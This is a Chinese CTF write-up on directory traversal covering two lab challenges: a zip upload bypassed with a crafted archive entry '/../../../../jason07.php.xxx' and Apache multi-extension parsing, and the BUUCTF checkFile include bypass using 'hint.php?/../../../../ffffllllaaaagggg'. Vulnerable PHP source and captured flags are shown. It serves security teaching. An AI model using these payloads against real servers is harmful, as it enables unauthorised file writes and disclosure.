

# 目录穿越

压缩包解压绕过



打开网页是直接给出了源码

```
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');

if(!$_FILES){

    echo '

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>文件上传章节练习题</title>
    <link rel="stylesheet"
```

```
href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css"
integrity="sha384-BVYiISiFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u"
crossorigin="anonymous">
```

```
    <style type="text/css">
        .login-box{
            margin-top: 100px;
            height: 500px;
            border: 1px solid #000;
        }
        body{
            background: white;
        }
        .btn1{
            width: 200px;
        }
        .d1{
            display: block;
            height: 400px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="login-box col-md-12">
            <form class="form-horizontal" method="post" enctype="multipart/form-data" >
                <h1>文件上传章节练习题</h1>
                <hr />
                <div class="form-group">
                    <label class="col-sm-2 control-label">选择文件: </label>
                    <div class="input-group col-sm-10">
                        <div >
                            <label for="">
                                <input type="file" name="file" />
                            </label>
                        </div>
                    </div>

                    <div class="col-sm-8 text-right">
                        <input type="submit" class="btn btn-success text-right btn1" />
                    </div>
                </form>
            </div>
        </body>
</html>
';
```

```
        show_source(__FILE__);
    }else{
        $file = $_FILES['file'];

        if(!$file){
            exit("请勿上传空文件");
        }
        $name = $file['name'];

        $dir = 'upload/';
        $ext = strtolower(substr(strrchr($name, '.'), 1));
        $path = $dir.$name;

        function check_dir($dir){
            $handle = opendir($dir);
            while(($f = readdir($handle)) !== false){
```

```

        if(!in_array($f, array('.', '..'))){
            if(is_dir($dir.$f)){
                check_dir($dir.$f.'/');
            }else{
                $ext = strtolower(substr(strrchr($f, '.'), 1));
                if(!in_array($ext, array('jpg', 'gif', 'png'))){
                    unlink($dir.$f);
                }
            }
        }
    }

    if(!is_dir($dir)){
        mkdir($dir);
    }

    $temp_dir = $dir.md5(time(). rand(1000,9999));
    if(!is_dir($temp_dir)){
        mkdir($temp_dir);
    }

    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
        if($ext == 'zip'){
            $archive = new PclZip($file['tmp_name']);
            foreach($archive->listContent() as $value){
                $filename = $value["filename"];
                if(preg_match('/\.php$/', $filename)){
                    exit("压缩包内不允许含有php文件!");
                }
            }
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
                check_dir($dir);
                exit("解压失败");
            }

            check_dir($dir);
            exit('上传成功!');
        }else{
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir);
            exit('上传成功!');
        }
    }else{
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
}

```

在上传时，使用白名单验证上传文件后缀

```
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
```



不过本上传点支持上传 zip 压缩包，且会将 zip 包解压到文件上传目录中，有可能会导导致一些安全问题

```

if($ext == 'zip'){
    $archive = new PclZip($file['tmp_name']);
    foreach($archive->listContent() as $value){
        $filename = $value["filename"];
        if(preg_match('/\.php$/', $filename)){
            exit("压缩包内不允许含有php文件!");
        }
    }
}

```



```

    }
}
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    check_dir($dir);
    exit("解压失败");
}

check_dir($dir);
exit('上传成功!');
}

```

首先会检测压缩包内是否含有 `.php` 文件，如果存在 `.php` 文件就直接退出解压流程

在解压完成后，会调用 `check_dir()` 方法再次检测解压出来的文件是否含有恶意文件

```

function check_dir($dir){
    $handle = opendir($dir);
    while(($f = readdir($handle)) != false){
        if(!in_array($f, array('.', '..'))){
            if(is_dir($dir.$f)){
                check_dir($dir.$f.'/');
            }else{
                $ext = strtolower(substr(strrchr($f, '.'), 1));
                if(!in_array($ext, array('jpg', 'gif', 'png'))){
                    unlink($dir.$f);
                }
            }
        }
    }
}

```

并且因为解压到的目录是一个随机生成的目录，目录名无法预测，与导致不能使用条件竞争方法

```

if(!is_dir($dir)){
    mkdir($dir);
}

$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){
    mkdir($temp_dir);
}

```

首先来绕第一个过滤，黑名单过滤了 `php` 文件，压缩包内不能含有 `.php` 文件，这里正则为 `.php$` 限制了结尾

所以可以尝试 `php3`、`php5`、`phtml` 等绕过，不过服务端只配置了解析 `php` 文件，导致该类绕过不可用

## Not Found

The requested URL /a was not found on this server.

*Apache/2.4.7 (Ubuntu) Server at 127.0.0.1 Port 80*

根据 404 页面，发现使用的是 `apache`，很容易联想到 `apache` 的多后缀文件解析漏洞

这里选择上传一个 `x.php.xxx` 文件

通过 010editor 构造恶意压缩包，这里需要注意修改后的文件名长度与修改前一致，否则解压会报错

这里改为 `/../../../../jason07.php.xxx`

Template Results - ZIP.bt

| Name                              | Value                          | S   |
|-----------------------------------|--------------------------------|-----|
| > struct ZIPFILERECORD record     | 123456789123456789. php        | 0h  |
| > struct ZIPDIRENTRY dirEntry     | /../../../../jason07. php. xxx | 4Eh |
| > struct ZIPENDLOCATOR endLocator |                                | B6h |

上传压缩包，访问 `jason07.php.xxx` ，得到 flag

← → ↺ 🏠

⚠ 不安全 | c735dde2-9d06-4705-abe2-2bae247ad7f1.node3.buuoj.cn/jason07.php.xxx

```
nlbook{ThisIsUpLoadToPicf14g}
```

include() 目录穿越



查看页面源代码，发现 `source.php`，接下来我们访问 `source.php` 拿到源码

```
<?php
highlight_file(__FILE__);
class emmm
{
    public static function checkFile(&$page)
    {
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
        if (! isset($page) || !is_string($page)) {
            echo "you can't see it";
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
```

```

        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    echo "you can't see it";
    return false;
}

}

if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file']))
{
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

?>

```

查看 hint.php，发现

```
flag not here, and flag in fffffllllaaaagggg
```

传入 `file=hint.php`，首先检查 `hint.php` 是否是一个字符串，它是字符串，条件通过

```

if (! isset($page) || !is_string($page)) {
    echo "you can't see it";
    return false;
}

```

检查 `hint.php` 是否在白名单中（白名单包括 `hint.php` 和 `source.php`），在，继续执行后面的代码

```

if (in_array($page, $whitelist)) {
    return true;
}

```

对 `hint.php` 执行 `mb_substr()` 函数，但是函数内一个参数是来自另一个函数 `mb_strpos()` 的返回值，因此我们先看 `mb_strpos()` 函数

使用 `.` 进行字符连接，即连接了一个问号字符 `?`，得到 `hint.php?`

然后查找 `?` 在字符串 `hint.php?` 中第一次出现的位置，从 0 开始算，返回 8，即 `length=8`

```
mb_strpos($page . '?', '?')
```

接下来我们执行 `mb_substr()` 函数，即 `mb_substr('hint.php',0,8)`

从字符串中的第一个字符处开始，返回 8 个字符，其实还是返回的 `hint.php`；

```

$page = mb_substr(
    $page,
    0,

```

```
        mb_strpos($page . '?', '?')
    );
```

然后对返回的内容进行 URL 解码，重复执行上面的检查和截取操作

```
$_page = urldecode($page);
```

我们只需要传入一个在白名单内的文件名（`source.php` 或者 `hint.php`），并添加上问号，这样可以保证每次找去用于检查的内容都在白名单，返回 `true`

```
source.php?file=hint.php?/../../../../ffffllllaaaagggg
```



```
<
  0,
  mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}
echo "you can't see it";
return false;
}

if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file']))
{
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

?> flag{bc7e048e-19a6-4464-96b6-2d1569696875}
```

[上一页](#)

[文件上传](#)

[下一页](#)

[逻辑漏洞](#)

